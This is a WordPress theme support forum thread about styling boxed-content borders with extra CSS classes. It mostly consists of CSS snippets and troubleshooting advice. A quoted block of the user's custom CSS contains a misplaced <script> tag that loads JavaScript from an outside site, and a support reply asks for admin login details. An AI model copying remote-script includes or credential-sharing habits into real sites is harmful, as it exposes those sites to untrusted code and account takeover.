Digital experiences for all disciplines
New Landing › How can we help? › Themeforest Theme Support › Dante › Change boxed content border color with extra class
New Landing › How can we help? › Themeforest Theme Support › Dante › Change boxed content border color with extra class
- This topic has 16 replies, 7 voices, and was last updated 9 years by Mohammad – SUPPORT.
-
Posted in: Dante
-
July 30, 2014 at 8:56 am #95972
Hi,
I’m trying to change the border color of some boxed contents (white with stroke) on an individual basis using extra classes.
I tried this, but I guess I’m writting the extra class wrongly as it doesn’t work…
.borderOrange .spb_box_text.whitestroke .box-content-wrap{ border-color: #ec6c25 !important; }
Where should I point my custom css in order to affect the border-color property?
thanks in advance!
July 30, 2014 at 9:00 am #95977Hey there!
Can you let me know your website URL with the element on it that needs the customization so I can check what the correct css would be like for your case?
You could try
.borderOrange .box-content-wrap{ border-color: #ec6c25 !important; }
for now, but if that doesn’t work please post up your website URL 🙂
Thank you!
August 6, 2015 at 3:57 pm #201482Hello,
In line with the code mentioned above, I tried to create a white dashed border with a transparent background to a white boxed text box. This is the code I made:.borderDashed .box-content-wrap{
background: transparent;
border: 2px dashed;
border-color: #fff !important;I added it to the custom CSS box of the Supreme Theme Options. And I tried to get the extra class working by typing: borderDashed into the extra class field of the text box options. But it didn’t work. What did I do wrong?
kind regards,
SjoukjeAugust 6, 2015 at 5:08 pm #201515August 6, 2015 at 5:43 pm #201532This reply has been marked as private.August 7, 2015 at 5:56 am #201684Hi,
1- Please remove dot (.) from extra class borderDashed. You inserted .borderDashed instead of borderDashed.2- Find this custom css code at theme options:-
/*article#6580.post-6580 head*/ <script type="text/javascript" src="http://button.utrechtyourway.nl/213/"></script>; .borderDashed .box-content-wrap{ background-color: transparent; border: 2px dashed; border-color: white; } Change with:- .borderDashed{ background-color: transparent; border: 2px dashed #fff !important; }
Thanks
MohammadAugust 7, 2015 at 8:12 am #201724Hello Mohammadd,
Thanx for your custom CSS. I followed your advices, but unfortunately it did’nt work…Maybe it doesn’t work to start with the white box, because that’s the original text box? This is the original CSS witch is in Style.css:
/*========== Boxed Content Shortcode ==========*/
.wpb_box_text .box-content-wrap {
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
padding: 20px 20px 1px;
}
.wpb_box_text.whitestroke .box-content-wrap {
border: 1px solid transparent;
}
.wpb_box_text.transparentstroke .box-content-wrap {
background: transparent;
border: 2px dashed;
border-color: #fff
}Kind regards, Sjoukje
August 7, 2015 at 9:40 am #201768Hi,
Please provide me wordpress admin login detail to check and resolve the issue.
Thanks
MohammadAugust 8, 2015 at 7:34 am #202069August 8, 2015 at 10:20 am #202073Hey man! you should hide your login info ~~~
August 8, 2015 at 10:54 am #202076This reply has been marked as private.August 8, 2015 at 10:55 am #202077thanx, I changed it.
August 10, 2015 at 11:14 am #202322Hi,
Do you mean you resolved your issue or changed your password?
– David.
August 10, 2015 at 1:15 pm #202384This reply has been marked as private.August 10, 2015 at 6:38 pm #202504Hi,
You have an incredible amount of CSS errors in your Theme Options => Custom CSS.
You must fix this as a priority. Please validate your CSS here: https://jigsaw.w3.org/css-validator/#validate_by_input.
All those errors will not allow for future modification of elements like you are trying to do.
– David.
-
Posted in: Dante
You must be logged in and have valid license to reply to this topic.